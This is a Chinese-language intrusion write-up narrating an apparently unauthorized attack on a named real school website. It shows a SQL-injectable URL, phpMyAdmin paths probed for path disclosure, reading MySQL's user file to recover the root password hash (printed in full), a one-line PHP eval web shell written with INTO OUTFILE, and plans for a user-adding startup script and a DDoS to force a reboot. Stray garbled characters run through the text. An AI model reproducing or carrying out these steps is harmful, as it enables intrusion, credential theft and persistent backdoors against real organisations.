友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
& Z9 P2 G: V: W8 O发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
5 K4 T2 T% B% J3 r$ @2 W" w

5 E8 o( }" y. W! h7 t1 E  R9 r7 |
" M# H' v" e# w9 h常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
; D' J: P' Q3 k+ Y
那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

( n# ~8 H; N1 F6 t, p试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
5 C$ @& ]8 B. ^8 L1 P2./phpMyAdmin/phpinfo.php  
3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  
0 P) d7 U4 b5 t3 P
均不行...........................

0 D2 t% v! F" e% i御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
/ i0 d; W1 b- V; ?2 A/ e
1 i; I) `, f/ h权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
+ j+ p& `% X/ {$ h, l3 d
& P9 B; V. }/ z+ H' v+ i敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........
" q! P% y( e$ e
* O+ v4 v2 q- n( |# v# a& k' M( z! A想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
& ~. R; R7 w1 y2 w8 B/ J0 X
" @- s: J* }7 l) }; T6 _- `  ihttp://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
0 n5 O3 c$ V: M. V8 _: K0 J( l+ H4 ~
自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
3 d6 R1 G5 x8 F" P2 R7 {: c
成功读到root密码：
/ \) X* T; X' t- H' ?8 F3 `
9 i1 U0 Y' M9 R17---- r(0072)
18---- o(006f)
. s- E' R) y  G19---- o(006f)
" x+ ~4 }! \) s% Y# V/ u20---- t(0074)
21---- *(002a)
0 W5 \5 R+ Q% F! L22---- 8(0038)
23---- 2(0032)
24---- E(0045)
25---- 1(0031)
26---- C(0043)
: s9 K# R' s) O* S7 G9 ^27---- 5(0035)
28---- 8(0038)
( }7 h7 o$ E6 t1 N2 r! A29---- 2(0032)
, g8 T8 E& T7 Z+ _# \; g1 d30---- 8(0038)
31---- A(0041)
32---- 9(0039)
- U  e' b" j3 @33---- B(0042)
34---- 5(0035)
35---- 4(0034)
# _2 z) N, D9 s36---- 8(0038)
( [5 B2 y( S+ ^* {37---- 6(0036)
38---- 4(0034)
39---- 9(0039)
40---- 1(0031)
9 n0 F* \1 ~7 @0 C% i  S5 P41---- 1(0031)
, B; x" X# ]; @0 w1 \2 W- U42---- 5(0035)
! i( ?4 D) O3 D! }3 b' `5 n( Y43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
46---- 8(0038)
47---- F(0046)
& m& P- W9 B' q48---- F(0046)
, @# E+ `3 c/ Q* p49---- 4(0034)
50---- F(0046)
51---- 0(0030)
. m# ^* K/ g9 _52---- 3(0033)
53---- 2(0032)
$ {- n9 B; ?& y1 Q54---- A(0041)
55---- 4(0034)
4 e: S2 }2 ]1 a+ }56---- A(0041)
57---- B(0042)
! u) ?1 g; L7 t2 E+ d58---- *(0044)
59---- *(0035)
8 W+ s# J1 x: T% B) [4 \" T60---- *(0041)
61---- *0032)
: k" y$ ^' J5 i- d0 a. Q
解密后成功登陆phpmyamin
) Q# H( m; \8 S( l4 n                          
, U1 M8 Y# ~" Y1 {9 W- ]7 D7 H8 P" q
+ v: }3 ]' N3 T; e9 z                             

找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
2 O' R+ J: c7 _
成功执行，拿下shell，菜刀连接：
2 @/ U* i" C7 A: f$ h
服务器不支持asp,aspx,php提权无果...................
3 Q4 q! S+ z3 E4 ~* G
4 d, z6 l; Q/ w& A; N但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
) `& s* r$ y& Q( V. T1 u

服务器上已经有个隐藏帐号了

7 g* M- A  ~1 K4 }% _

别名     administrators
* Y# y2 ~+ I5 `( T注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
% d9 X: C8 ^6 O9 M4 tadmin
6 ]  \0 Y7 h2 t9 N* ~( y; ^5 BAdministrator
slipper$
sqluser
& b1 O" \0 `# J. x. M命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
1 ^) m3 Y( ?7 K) a- k
ddos服务器重启，不然就只能坐等服务器重启了...............................

      

! y; U8 W  @! B* [

angel